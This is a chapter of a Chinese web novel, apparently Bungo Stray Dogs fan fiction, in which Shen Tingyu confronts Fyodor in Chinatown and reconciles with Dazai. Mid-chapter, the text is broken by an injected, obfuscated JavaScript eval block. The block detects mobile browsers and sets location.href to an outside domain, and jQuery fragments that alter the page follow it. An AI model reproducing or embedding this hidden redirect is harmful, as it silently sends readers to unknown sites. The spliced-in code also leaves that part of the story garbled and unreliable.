140.唐人街探案。
作品:《什么?上司居然是我的唯一天敌?》 费奥多尔垂首凝视着自己空无一物的掌心,沉默无言。
他缓缓抬起眼帘,不远处的太宰治仿佛换了副皮囊,无论衣着穿搭亦或者周身散发的气质,都与往昔判若两人。
对方正如同检查手套般,专注地盯着自己那只刚被沈庭榆甩开的手,不知道在思考什么。
察觉到他投注而来的视线,太宰治放下手,唇角勾起一抹和煦的笑,这抹温和的笑意甚至叫他显得非常和蔼可亲。
然而近乎瞬间,费奥多尔就察觉到那其中暗藏着的令人不寒而栗的恶意,如同毒蛇吐信,等着扑绞住猎物注入毒液。
视线突然被一片被灰色裹挟着的花花绿绿遮挡,女人卡在额骨的嘻哈镜框边,那嘲讽意味极强的黄豆人花瓣正对着自己。
“唔看他干嘛?”
因为嘴里塞着食物,沈庭榆的声音有些含糊,腮帮子一鼓一鼓。
似乎意识到这样不好,她把栗子咽下去,字正腔圆地又问了一遍,“你看他干什么?”
看您对我的眼睛不太友善。
费奥多尔自然忽视沈庭榆这色彩斑斓的穿搭,绛紫的眼眸视线温和落在她怀中的那包炒栗子上:“您为何不自己购买一份呢?”
〖木鱼:你抢他栗子干嘛?不怕下毒啊,剂量大你也会死的。〗
〖我饿了:我觉得他预料不到我会做这么没品的事情,再说死了就复活呗那有啥。〗
〖木鱼:以你现在的状态不能随便死。〗
〖骗你的,不饿也抢:不是还有道具在吗。〗
〖栗子不错,我的了:一会儿帮我个忙。〗
*
费奥多尔确实没有预料到自己会被抢劫。
沈庭榆最近在横滨闹出不小的声势,地下组织遍布她的传言,「假死脱身」、「重伤未愈」、「首领之位继承人」,各式各样的消息四处流通,真假难辨。
费奥多尔对于权利更迭并不感兴趣,不过于他而言,水越浑,可利用的棋子就越多。
他只需要获悉沈庭榆此时上位的目的并布局,而其他组织要考虑的就多了。
首要弄清两件事:
1.沈庭榆是否获得了“书”和「任意门」。
「任意门」身为特异点,「人间失格」的作用仅为异能无效化对特异点的作用很小。以此来推,太宰治可以穿过「任意门」实现距离传送乃至跨越世界。
这样能够解释通为什么沈庭榆可以带着太宰治空降在他曾经的地下据点。
但费奥多尔觉得不止如此,或许有未知的力量体系存在。
2.如果情况向最糟糕的方向发展,他们不处理自己的原因是什么?
心中大致有了猜测,就在他为获取情报来到唐人街,顺便想尝尝中华菜又在看见街边有卖糖炒栗子于是买了包栗子后。
“鼠鼠——”
清亮的喊声混杂着真情实感的喜悦,还未等他反应过来,眼前刮起了五彩缤纷的风暴,沈庭榆脖子上的花圈甚至打到了他的脖颈。
随后手中骤然一空。
糖炒栗子:手慢无。
*
“我为什么要自己买一份?”
听见他的问话,沈庭榆像是完全不能理解般,用着理所当然的语气道:“我的钱不是钱吗?我不需要排队吗?”
栗子本身醇厚的坚果香气与焦糖香被铁锅煲得完美融合,甜而不腻,香而不冲,温暖而浓郁。沈庭榆满足眯起眼,她又剥开几枚,懒懒出声:
“再说了你又吃不了几个,多浪费啊。”
这番强盗说辞引起周遭人的注意,然而他们只是把目光分给他们些许,就自然地转过了头,仿佛只是看到了街道上被风吹得滚动的几片叶子,一点也不觉得他们奇怪。
太宰治迈出的步子一顿,视线滑过她手臂上那枚外表光滑看不出任何信息的金属环,微不可察地蹙起眉,随后又自然收回目光,站到沈庭榆身边。
拇指勾住皮质手套的边缘轻轻一扯,黑色的皮革从腕骨处褪开,露出一截冷白的皮肤。太宰治把手套攥在手心,冲沈庭榆摊开没有戴着手套那只手。
不知道是有意还是无意,这只手恰巧是他刚刚被甩开的那只。
沈庭榆注视着自己面前那只手,思考他的意图,在思考无果后有点茫然地看着他。
太宰治微笑回望。
沈庭榆突然了悟,她把差不多剥好的栗子留下一点壳来盛着果肉,随后捏着壳喂到了太宰治嘴边。
“手脏,这样干净些。”她为自己的聪明机智点赞,随后转头望向费奥多尔,像是皇帝面对善臣谏言般赞许:“你选的这家不错。”
言下之意:竟然能让我爱人喜欢,有点子东西。
费奥多尔:……
金灿的果肉沾着滚烫的暖意贴在唇角,栗子绵密的甜香混着沈庭榆身上终年不变的薄荷花露水味儿,太宰治的目光落在沈庭榆的面颊良久。
沈庭榆现在眼中没有一丝对牵手的渴望,全然是对尊贵猫猫纡尊降贵赏脸给这她抢来的小小零食面子的喜悦。
太宰治:……
确认这个人不是故意的后,太宰治闭了闭眼,心底叹了口气,唇瓣微张。
控制住直接怼进去让他噎到的欲望,沈庭榆有些微妙地看着太宰治衔住自己指尖的栗肉,随后吞进去咀嚼。
感受到异样的满足感,沈庭榆开始目不转睛地盯着太宰治吃栗子。
霓虹灯光勾勒出他睫毛的阴影,昳丽锐气的眉眼因咀嚼的动作添了几分可爱,连带着被版型合身的黑衬衫托出的那股疏离气都被软化些许。
沈庭榆看着他腮帮子轻轻鼓起,像只偷藏食物的松鼠,喉结随着吞咽轻轻滚动,唇角润了点糖渍,被他用舌尖灵巧卷走。
沈庭榆咽了下口水,开始旁若无人的用着炽热目光看着太宰治吃栗子。
他好好看啊,她还想喂。
费奥多尔打量着面前这个气势陌生的男人,太宰治注意到他的探视,唇角微扬,咀嚼的动作变得舒缓而危险——像是猫用犬齿碾碎老鼠的头骨。
无形的力场在他们之间拉开,连周围的空气都要被重力贯在地底。
〖木鱼:……虽然我不想打扰你,但是可以开始了。〗
“你看他干什么。”沈庭榆扭过头,语气莫名:“这是我第三次问你了,事不过三。”
超过三会如何?沈庭榆没有说。
费奥多尔扯出礼貌微笑:“抱歉,我没有别的意思。只是有些意外许久未见的太宰君如今是这副模样——”他看着沈庭榆额头上的嘻哈镜,话语微妙停顿片刻,随后继续,“当然,您也是。”
他们像是与周遭的世界隔绝般,没有任何人注意到这三个风格迥异且站在大街中央闲谈的人。偶有路人向他们走来,会像避开石墩一样自然略过这处位置——完全下意识的行为。
“您们简直像是换了个人一般。”像是没有注意到这诡异的一幕,费奥多尔歪过头,夜风中发尾扫过面颊,碎发间露出的眉骨投下小片阴影。
他这样感慨着,像是有感而发,很不经意。让人联想到葡萄酒的浓色眼瞳盯住沈庭榆的面孔。
“谢谢你鼠鼠。”
闻言,沈庭榆满意点头,她转过头看着太宰治:“鼠不仅送我们零食,还夸我们焕然一新欸!鼠好心!”
望着挡在自己面前的人,太宰治神情有些怔松,随后他笑了:“啊,对。”
“谢谢这位好心的俄罗斯先生。”
他用着暧昧不明的语气说,听起来像是:「祝你早点死。」
什么奇怪的称呼。
还有,我没有送,那是你抢过来的。
即使没有获得预期的反应,费奥多尔依然维持着面上的笑容:“看来除去武装侦探社外,港口Mafia的经费也不太充足。”
“欸你看,你又急。”没有理会他话语中的刺探意味,沈庭榆啧啧摇头,恨铁不成钢:“你不能推己及人啊,「死屋之鼠」经费不多实乃人之常情,毕竟天天只有你一个人熬夜到死运营到死。”
“诱饵自己当情报自己找程序自己黑,一家企业如果什么都要老板亲力亲为的话距离倒闭也不远了。”沈庭榆指指面色惨白的“青年”眼下的黑青,用着那种语气感慨:
“下属没有自主性,公司赚的不多不要眼红。”
“噗”,太宰治笑出了声。
莫名被扎心,费奥多尔微敛笑意:“您似乎很了解我呢,连我的胃口都了如指掌。”
「太宰大人,她似乎和一位俄罗斯人走的很近。」
嘴角的那抹笑意微凝,随后化为冷然,太宰治眯起眼。
……他们见面时都交流过什么?
“啊那倒不是,我看你体虚我猜的。”沈庭榆嬉皮笑脸,“您可要好好保重身体才对,不然哪天不小心猝死了,异能没有用。理想可就破碎啦。”她歪了歪头,像是为他担忧般体贴着说。
漆黑的、冰冷的枪支,凭空出现在手中。胳膊上的金属环中央骤然亮起一条不详的红线,那抹红亮得刺眼,像是割破浓稠的夜后流出来的血。
沈庭榆举枪,漆黑的枪口对准面前人的眉心,她用着暧昧喜悦的音调吟诵:
“这世界有你可太叫人烦恼,但没有你的话也太无聊了啊……亲爱的。”
明明是在表达重视,这声音却如丧钟哀鸣。周遭的空气莫名降了几度,可周遭依然没有人注意到这处肃杀之气。
真实的杀气,看来之前「刻意」不处理自己,是时机未到。
“如此对我有兴趣的话,为何不加入我们呢?”完全无视面前的枪支,费奥多尔浅笑着,“实际上我一直都很好奇,因为异能力而饱受折磨的您,究竟为何不与我一同聆听上帝之手的指引,来消除异能者的罪孽呢?”
“让一切迎来彻底的和平,您明明有兴趣。”他笃定地说。
兴趣不兴趣暂且不提。
这么极端的想法,加入你们我肯定完蛋了,怎么可能存在这种情况啊。
不过……怎么当着太宰治的面挖人啊??
沈庭榆小心瞥了眼太宰治,心说宝贝为什么不说话?
太宰治静默无言,只是安静地望着她等着她回答,注意到她的视线,他挑了下眉:“你看我做什么?”
夜风吹过,太宰治弯腰从身后把沈庭榆身上的灰外衣裹紧些,做这个动作时他的手臂把人禁锢在了怀里。
太宰治维持着这个动作,掀起眼注视着费奥多尔,含笑道:“人家在问你呢。”
行吧。
沈庭榆叹着气:“鼠鼠,首先感谢你的BOSS直聘,但我婉拒了。”
“你说消灭所有异能者,以此来世界和平,我觉得有点难。”
费奥多尔没有反驳,他盯着沈庭榆手臂上的金属环,眯起眼。
上次见面时沈庭榆穿着长袖,导致他不清楚这枚金属环是否存在。现在金属环存在的原因是什么,重伤未愈?将弱点宣告所有人,钓鱼吗——
“干脆我们把所有普通人都杀了好了。”
思绪骤然停滞。
“又或者,干脆,我们让所有人都获得异能力不就好了?你知道的——我做得到。”
举枪的女人推开太宰治的手臂,和他拉开距离。
费奥多尔望着她漆黑的眼眸——他看不出这是不是句玩笑话。
笑意然无存,化不开的暗色在瞳孔蔓延。
“您真会说笑。”
他的语调很轻,作为被挑衅的回礼,傲慢的狂徒在这一刻同样丝毫没有掩埋自己的杀意。
沈庭榆温柔的笑了,随后扣下扳机。
手枪后坐力震得空气发颤,子弹穿透黑夜的尖啸刺破死寂,费奥多尔的头颅骤然碎裂——不,应该说是某位不知名的陌生人的头颅。
赤芒闪过,随后腥热的液体打湿大地,沈庭榆握着枪,站在血泊之中,弯腰为这位逝者合上双眼。
地面凭白无故浮现出火焰,火舌瞬间吞噬尸体,徒留一片灰烬。
手枪消失,周遭人如梦初醒,像是才注意到这两个难以忽视的人般投以注目礼。
沈庭榆手臂上金属环中央的红光黯了下去。
〖栗子好吃:耶!赌对了!他果然留了一手,不然他死了可就真头疼了。〗
〖栗子好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470680|155924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃:哦对了,你可以复活他来着。〗
〖木鱼:如果我复活他的话,算是主动参与事件了,或许会被万象宇宙后期审核捉住把柄。〗
〖栗子好吃:我靠你不早说??我差点害死你??〗
〖木鱼:没事。〗
〖木鱼:总有人比你更赌不起。〗
〖木鱼:你没事吗?精神屏蔽只能抵抗外界,不能解决自身心理问题。〗
〖栗子好吃:没事,只要现在我没什么情绪波动就和普通晕车一样,一会儿就好了。〗
用异能解决就是恶性循环,现在还没到恢复身体的时机。
手机传来震动,忍着眩晕感,沈庭榆叹气点开。
「看来您不能随意使用异能力,这确实叫人惋惜。」
「请代我向那位不知缘由无法出现在这里的女士传递遗憾:您的礼貌与耐心叫人印象深刻。」
「期待与您对弈,异世界的沈庭榆小姐。」
〖栗子好吃:他是不是在拉踩?〗
无视轻微的眩晕感,干完活沈庭榆快乐转身,对着太宰治露出开心的神情开始求表扬:
“你看宝贝我厉不厉害?我现在不用「人间——”
“看来你真的不需要我。”
两串话语在空中相撞的刹那,空气仿佛被按下暂停键。
太宰治与沈庭榆四目相接,呼吸同时滞在喉间。
沈庭榆哑然的望着太宰治,唐人街商铺边挂满了灯笼,暖调的光笼在他微卷的发梢,却没映出他往日眼底的傲气,睫毛在眼下投出浓重的阴影。
「心种」。能够诱导调动他人潜意识的异能力,由于在异能力起到作用的瞬间,人的精神就已经被影响,再加上是诱导暗示而非直接作用。因此「人间失格」不会让中异能者受到的影响彻底消失。
类比而论,中了梦野久作异能的人,即使被「人间失格」解除控制,脑海中依然会残存影响。
沈庭榆在刚刚对周遭人所下的暗示是:在看见他们三个时自动合理化为某种不起眼的事物并忽略。
原来如此,那时候他摘下手套、刚刚突然圈住自己,是因为知道了自己想对费奥多尔开枪,他在担心。
即使有系统在。
为什么啊?你不是最讨厌我利用「人间失格」了吗?
「因为我甩开他的手了。」
沈庭榆呆站在原地。
这一刻她突然想问这个人:如此优秀的你为什么要因为爱而自卑。
「我不想利用“人间失格”。」
突然意识到她和自己拉开距离的原因,惶惶不安的情绪骤然消逝,太宰治抿起唇,在意识到沈庭榆想说什么之后,那抹阴影悄然散开。
对上她震惊的眼,莫名的别扭像是根刺扎得他扭过头,他单手插兜,没有戴着手套的那只手却垂在身侧。
太宰治有些不自然地淡声道:“走了。”
手指微蜷,裸露在外的肌肤突然被一片温热包裹,像是被提起领子的猫,太宰治僵住了,他听见身后沈庭榆颤抖着的声音:“我不需要「人间失格」,”
“但我需要太宰治,不……我需要你。”
“只是你。”
世界开始朦胧,耳鸣声逐渐剧烈,眼前的事物开始重影在虚焦的视线里扭曲成模糊的色块,冷汗逐渐滑下,胃里翻涌着酸涩的灼痛。
握着太宰治的手位置上移,掌心的绷带隔绝了他的皮肤,沈庭榆悄然松口气。
沈庭榆向往白头偕老,她所认定的伴侣是要相伴一生的。但她清楚:人心是变幻莫测的,不同年龄阶段,大家想法都是不一样的。
爱你时,掏心掏肺,甘愿为你赴死。说不爱了,真就能够做到看ta一眼就心生嫌弃。
真挚的恋爱就是一场豪赌。
沈庭榆清楚自己那扭曲的感情观,她能够做到爱一个人就爱一辈子,直到对方厌弃自己——只要对方的“爱”尚存,哪怕是给自己洗脑来维系感情也能够做到。
不触碰的底线,不涉及原则性问题,不牵扯到别人,仅仅只是她自己的事情的话,就没关系。
但她不知道太宰治的想法,「结婚」「共赴一生」这些字眼像是被这个人隔绝,她总觉得太宰治会有这样的想法:
「即使我向往,却依然认定关系开始便意味着会在未来某天破碎结束。」
“终究都会离开。”
两年前那次争吵让沈庭榆有些害怕,那时她想:情感和咳嗽都控制不住,喜欢上太宰治是一件危险的事情,是预料之外。
但沈庭榆不觉得悲哀,这个人很好,他值得。
两年后,她回忆起坟墓上摆着的那堆零食,感受着掌下微微发颤的躯体,心想:被这个人在意真的是世界上最幸福的事啊。
纵使扭曲、极端,但他真的会对于自己在意的人,捧出一颗炽热的心。
她可以赌。
不行,现在是我情感路上的重大突破,有些话必说!异能用就用了!
她开始在心里碎碎念:I am fine。没事喔没事的,一切都很好!
负面情绪开始退潮,她地把手移回去,心满意足的享受着肌肤相贴带来的温暖感。
察觉到她的动作,眼角骤然滑过红光,太宰治猛回过头,视野里沈庭榆胳膊上的银环上光芒逐渐黯淡。
看见他转身,沈庭榆露出了歉意的笑:“对不起,求你以后不要再说这样的话了。”
不知道怎么回,干脆装作没听见她的的话语。太宰治眉峰微蹙,瞳孔落在沈庭榆的面容上,像是解剖师般细致观察着她的神情。
手指悄然探上沈庭榆胳膊上的监测装置,表层精度太高,摸不出纹路。
刚刚是……
忽视他的小动作,沈庭榆眨眨眼,决定绿茶一把,她清清喉咙,直白道:
“其实我很怕和他见面,你看他刚刚那个眼神,哇吓死我了。”
话语珍重落进耳膜,太宰治像被按了暂停键的提线木偶,整个人被定格在唐人街喜庆十足的灯光里。
他听见沈庭榆这样说:
“我很需要你,谢谢你陪在我身边。”